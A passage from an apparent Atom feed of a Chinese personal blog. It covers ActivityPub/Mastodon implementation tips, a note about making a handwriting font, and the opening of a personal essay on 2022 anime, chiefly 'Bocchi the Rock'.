&lt;p&gt;前文提到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ActivityPub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;期望你主动&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;POST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;消息给别人，但其实它也支持别人主动&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GET&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;你的消息。在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里，可以搜索&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;id&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来得到某条当前实例所没有的嘟文。&lt;&#x2F;p&gt;
&lt;p&gt;在实现时一定要给自己的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;添加&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;attributedTo，否则&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不会显示——因为不知道这条嘟文是谁发的。如果使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Create
Activity&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把嘟文发给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的话，就不需要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;attributedTo，因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Create&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;actor。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;个人博客_&amp;gt;_Mastodon&quot;&gt;个人博客 &amp;gt; Mastodon&lt;&#x2F;h2&gt;
&lt;p&gt;本来这一段写了挺多，但有些离题所以删掉了。总之，希望有话可说的人建立自己的博客。&lt;&#x2F;p&gt;
&lt;p&gt;当然了，博客和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不是对立的，它们可以联通起来——什么？你问怎么联通？请看这篇文章：&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;&quot;&gt;静态博客也能和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;沟通&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;activitypub-for-static-blog
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;activitypub-for-static-blog&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


六人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Dragmon&quot;&gt;










千条江河千条东唯我只身西&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;home.solitude.bar&amp;#x2F;users&amp;#x2F;dylan&quot;&gt;










𝓓𝔂𝓵𝓪𝓷 𝓦𝓾&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mastodon.social&amp;#x2F;users&amp;#x2F;maokwen&quot;&gt;






https:&amp;#x2F;&amp;#x2F;mastodon.social&amp;#x2F;users&amp;#x2F;maokwen&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;toot.mantyke.icu&amp;#x2F;users&amp;#x2F;Aetherpack&quot;&gt;










树底可以卧海獭 :pentyan_15:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;dvd.chat&amp;#x2F;users&amp;#x2F;9guj5fnxw7y2vbm8&quot;&gt;









ci&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;dvd.chat&amp;#x2F;users&amp;#x2F;9gur0z17n3n9t0k1&quot;&gt;










缄默线&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    



&lt;br &#x2F;&gt;
&lt;details open announces&gt;
    &lt;summary&gt;


三人转发：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Dragmon&quot;&gt;










千条江河千条东唯我只身西&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;m.cmx.im&amp;#x2F;users&amp;#x2F;adelieeeeee&quot;&gt;










猫窝还没搭好你竟已猫瘾大发&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;home.solitude.bar&amp;#x2F;users&amp;#x2F;dylan&quot;&gt;










𝓓𝔂𝓵𝓪𝓷 𝓦𝓾&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>我的手写体</title>
    <published>2022-12-30T23:17:23+00:00</published>
    <updated>2022-12-30T23:43:32+00:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/my-font/" type="text/html" />
    <id>https://emptystack.top/my-font/</id>
    <content type="html">
      &lt;style&gt;
@font-face {
    font-family: &#x27;my-font-2022-12-05&#x27;;
    font-weight: 420 700;
    font-display: swap;
    src: url(&#x2F;assets&#x2F;my-font-2022-12-05.woff2) format(&#x27;woff2-variations&#x27;);
}
&lt;&#x2F;style&gt;
&lt;div style=&quot;font-family: &#x27;my-font-2022-12-05&#x27;;font-size: 3em&quot;&gt;
&lt;p&gt;之前想试试用自己的字做字体。今天上网时正巧看到了&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;gordonlesti.com&#x2F;creating-a-handwritten-truetype-font-in-linux&quot;&gt;教&lt;&#x2F;a&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;inkscape-manuals.readthedocs.io&#x2F;en&#x2F;latest&#x2F;creating-custom-fonts.html&quot;&gt;程&lt;&#x2F;a&gt;。准备周末试一下。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;原图-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;原图-optim.jpg&quot;
	alt=&quot;原图&quot;
	height=&quot;209&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;



      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;my-font
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;my-font&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>关于动画的杂谈2022</title>
    <published>2022-12-30T16:23:59+00:00</published>
    <updated>2023-06-29T16:23:18+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/anime-2022/" type="text/html" />
    <id>https://emptystack.top/anime-2022/</id>
    <content type="html">
      &lt;p&gt;我是什么时候开始看动画的？&lt;br &#x2F;&gt;
我不记得。&lt;br &#x2F;&gt;
我要什么时候停止看动画呢？&lt;br &#x2F;&gt;
可能根本没有那一天。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#《孤独摇滚》&quot;&gt;《孤独摇滚》&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#虹夏和喜多&quot;&gt;虹夏和喜多&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#社恐，以及没必要在动画中找自己&quot;&gt;社恐，以及没必要在动画中找自己&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#动画特有的画风突变&quot;&gt;动画特有的画风突变&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#转描？3D？动捕？&quot;&gt;转描？3D？动捕？&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#音乐&quot;&gt;音乐&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#搞笑&quot;&gt;搞笑&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#庵野秀明两则&quot;&gt;庵野秀明两则&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#《EVA新剧场版》&quot;&gt;《EVA新剧场版》&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#《新・奥特曼》&quot;&gt;《新・奥特曼》&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#《机动警察剧场版2》和押井守&quot;&gt;《机动警察剧场版2》和押井守&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#《高达：水星的魔女》&quot;&gt;《高达：水星的魔女》&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#其他动画&quot;&gt;其他动画&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#何时停止看动画&quot;&gt;何时停止看动画&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;《孤独摇滚》&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;孤独摇滚》&lt;&#x2F;h2&gt;
&lt;p&gt;本来我是在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月初想要放一些动图表达一下对《孤独摇滚》的赞美，但直到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月底我也没明白怎么剪视频。所以这篇草稿一直搁置至今。&lt;&#x2F;p&gt;
&lt;p&gt;28&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号晚在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上看到了《Dark
Necessities》的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MV，感觉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Flea&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在厨房水槽里弹贝斯实在太酷了。正好《孤独摇滚》里的贝斯手凉学姐是个特立独行的人，她坐在水槽里弹贝斯应该是很自然的事情。而且我也好久没画画了。一不做二不休，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;29&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号花了一晚上把她画了出来。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;凉-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;凉-fs8.png&quot;
	alt=&quot;凉学姐坐在厨房水池里弹贝斯&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我希望各位能看出来这是“晚上，一个吃草的蓝头发女孩坐在洗菜池里弹贝斯&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。如果看不出的话，可以去参考&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;Q0oIoR9mLwc?t=118&quot;&gt;MV&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;118&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;秒&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;画画实在太费劲了——我在画了十秒钟后想起了为什么我快三年没画过画。由于不会画明暗，我没有给水龙头和水槽上色；另外原本黯淡的画面右部也被我用巨大的眼睛代替了。这双眼睛来自&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;musicbrainz.org&#x2F;release&#x2F;a684a206-5237-4169-9a2a-ab590abd8e55&quot;&gt;动画插曲《あのバンド》的封面&lt;&#x2F;a&gt;——那首曲子（好像）是我最喜欢的曲子，封面也是我最喜欢的封面。只不过凉不是我最喜欢的角色：我最喜欢的是虹夏和喜多。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;虹夏和喜多&quot;&gt;虹夏和喜多&lt;&#x2F;h3&gt;
&lt;p&gt;我其实是遇见虹夏后才决定看《孤独摇滚》的：当时在微博上偶然看到了虹夏向波奇介绍&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Live
house&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的饮料放在哪的镜头（第二集&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;14:35&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;左右&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。虹夏开始走路时先往右边探个身，上台阶时又先向左偏个头。很难描述，总之她走路时浑身透露着一股青春的气息。接下来一连串给波奇指什么在哪里的动作也连贯自然地不像画的。哦，对了。还有明显是描着照片画的背景与角色极简的线条之间那鲜明的对比。流畅到令人惊叹的动作和实物照片，这两点让我以为这个片段来自某个只有几分钟的实验动画。我就是这样被虹夏吸引开始看《孤独摇滚》的。所以我最喜欢虹夏也是自然而然的事情。&lt;&#x2F;p&gt;
&lt;p&gt;第二次让我震撼的镜头就是虹夏给波奇买可乐后尽人皆知的“挥手、再见、跑开”镜头。在我的印象里，动画的要义就是静止：制作者总要想着法子在表现动作时保持画面中的其他元素静止，以节省成本。如果想要表现某个人物活泼的神态，也许会用简笔画让她卖个萌。但那一集的虹夏用快速的动作变化把那份（动画里）高中生的活泼表现得淋漓尽致。我对《孤独摇滚》整体和虹夏的爱在那一刻又更上一层楼。当然了，虹夏妈妈一样的体贴、时刻乐观的精神也是迷人的个性。我就不展开叙述了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;ruby&gt;喜多&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;きた&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;的话，我一开始并没有太在意。但是动画多次在表现喜多阳光一面时用“きた～”的音效强化她的可爱感。随着“きた～”和动画后期越来越多展现喜多有多可爱的镜头，我只能说我沦陷了。在舞台上替断弦的波奇独奏时那个旋转镜头真的很帅&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=MXFV6ix-RnU&quot;&gt;前面提到的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Red
Hot Chili
Peppers&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也经历过演出时断弦&lt;&#x2F;a&gt;——那时贝斯和鼓手站了出来（他们只有一把吉他&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;在琴行问波奇要不要买吉他时，又很温柔。如果灯神只给我一个愿望的话：我一定许愿喜多嫁给我。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;社恐，以及没必要在动画中找自己&quot;&gt;社恐，以及没必要在动画中找自己&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;孤独摇滚》是玩乐队的社恐的故事。看动画的人也多多少少执着于自己内心的风景。观众认为波奇与自己相似也是可以理解的。我在看波奇的各种行为时也能略微对号入座，但毕竟夸张也是动画的一部分，我也能找到很多她和我不同的地方。看到波奇做出我也可能做得出来的搞笑反应时，我仍然会笑出来：毕竟我不是她。我觉得，就像阿虚的名言一样，在虚构的故事当中也没必要找和自己感同身受的人。即便她真的和你一样，但她是你么？&lt;&#x2F;p&gt;
&lt;h3 id=&quot;动画特有的画风突变&quot;&gt;动画特有的画风突变&lt;&#x2F;h3&gt;
&lt;p&gt;说到夸张，这部片子可以说把夸张用到了极致。我没有看过漫画原作，但在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;楼里看到有看过原作的人早就在期待动画中波奇五官飞出原有位置的表现了。除去五官移位的波奇，还有不断变成爆炸形状的炸毛波奇、形如鼻涕虫的波奇、变身哥斯拉毁掉城市的波奇，甚至还有能让积极阳光的虹夏和喜多也体会到无尽负面情绪的粉尘波奇。这些夸张的形态变化是真人电影所不能表现的：动画本身就是抽象的表达，所以换种方式抽象时观众不会感到突兀；电影则不然。&lt;&#x2F;p&gt;
&lt;p&gt;在仅限波奇的形变以外，这部动画还充斥着各种实拍画面：呕吐时的水坝串烧、被刺破的气球、旋转的粘土人偶、草丛中的毛毡扁面蛸等等。还有突然变成像素画坠入海洋一般飞起来、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;学了动画三年”似的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3D&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;建模摆着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;T-Pose&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;撞破立方体这些不是实拍，但和其他时刻画风完全不同的镜头。我很喜欢这些动画里才能出现的画风突变。最早意识到我喜欢它们，应该是在一八年看《&lt;ruby&gt;ポプテピピック&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Pop Team Epic&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;》动画版时。我特别喜欢穿插在已经很搞怪的正常画风小故事之间的，由&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;部制作的难以形容的片段以及莫名其妙而且没有字幕翻译的访谈法国小哥。我认为这才是动画独有的魅力。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;转描？3D？动捕？&quot;&gt;转描？3D？动捕？&lt;&#x2F;h3&gt;
&lt;p&gt;日常里各种小动作、演出时过于流畅以致有些奇怪的动作……我不是什么专业动画鉴定人，但这部动画一定使用了小标题里的辅助来作画。这件事是否是好事的辩论似乎最早由被称为“书记舞”的异常流畅的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ED&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;画面引爆。我从那时到现在的态度都是支持：只要别给我像《高达&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GTO》那样把劣质的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3D&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;模型直接放到动画里就行。自然、流畅的动画，我是没理由不欢迎的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;音乐&quot;&gt;音乐&lt;&#x2F;h3&gt;
&lt;p&gt;好了，毕竟《孤独摇滚》名字里尚且带着摇滚二字。我在网上看到有人批评它不够摇滚，我怎么看呢？我不知道，因为&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#Bonus_Track%EF%BC%9A%E4%BB%8A%E5%B9%B4%E7%9A%84%E8%8B%B9%E6%9E%9C%E9%9F%B3%E4%B9%90%E7%BB%9F%E8%AE%A1&quot;&gt;我不知道什么是摇滚&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;我还听说这部动画的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Live&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;片段乏善可陈。我去过一次&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Live
house，只记得自己站了好久，完全不记得谁在台上唱了什么。所以，我也没法评价这部的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Live&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;片段是否失真。我有一个在英国一年去听了十万次现场的朋友。我想请教下他对这部动画的看法。他说：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;我刚看到第&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;话，只有一段&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Live&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;目前&lt;br &#x2F;&gt;
不过说实话&lt;br &#x2F;&gt;
没有轻音的那种曲风合我胃口&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;根据微博的人分析来看，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;weibo.com&#x2F;2151554237&#x2F;MluTj4VXJ&quot;&gt;最后一话的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Live&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;充满了细节&lt;&#x2F;a&gt;。我是不懂，只看个热闹——我希望它更热闹些，多一些上一小节说的那些画风突变。&lt;&#x2F;p&gt;
&lt;p&gt;另外我的朋友圈里有玩乐队的邦邦人认为《孤独摇滚》的歌难听。我自己的感受是：它们确实不够抓耳朵，但还是挺好听的。本来我觉得《あのバンド》是最好听的，但貌似它只是最抓耳朵的。14&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;首歌的专辑出来后我把每首又听了一遍，发现很难说我最喜欢哪首歌了——它们都有我喜欢的部分。&lt;&#x2F;p&gt;
&lt;iframe allow=&quot;autoplay *; encrypted-media *; fullscreen *; clipboard-write&quot; frameborder=&quot;0&quot; height=&quot;175&quot; style=&quot;width:100%;overflow:hidden;border-radius:10px;&quot; sandbox=&quot;allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation&quot; src=&quot;https:&#x2F;&#x2F;embed.music.apple.com&#x2F;us&#x2F;album&#x2F;that-band&#x2F;1652476608?i=1652476613&quot;&gt;
&lt;&#x2F;iframe&gt;
&lt;h3 id=&quot;搞笑&quot;&gt;搞笑&lt;&#x2F;h3&gt;
&lt;p&gt;还有一点，或许是最重要的一点——没有这一点，我可能根本不会注意到前面提到的其他优点——这部动画，真的很搞笑。我最近烦心事很多，有几次在新一集公开后犹豫要不要看，因为我怕我笑不出来。但我每次还是点开看了，而且笑得很开心。就像，我也还是高中生一样。可能也因为这让我发笑的能力吧，我很喜欢这部动画。有一点想学乐器了呢。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;庵野秀明两则&quot;&gt;庵野秀明两则&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;《EVA新剧场版》&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;EVA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;新剧场版》&lt;&#x2F;h3&gt;
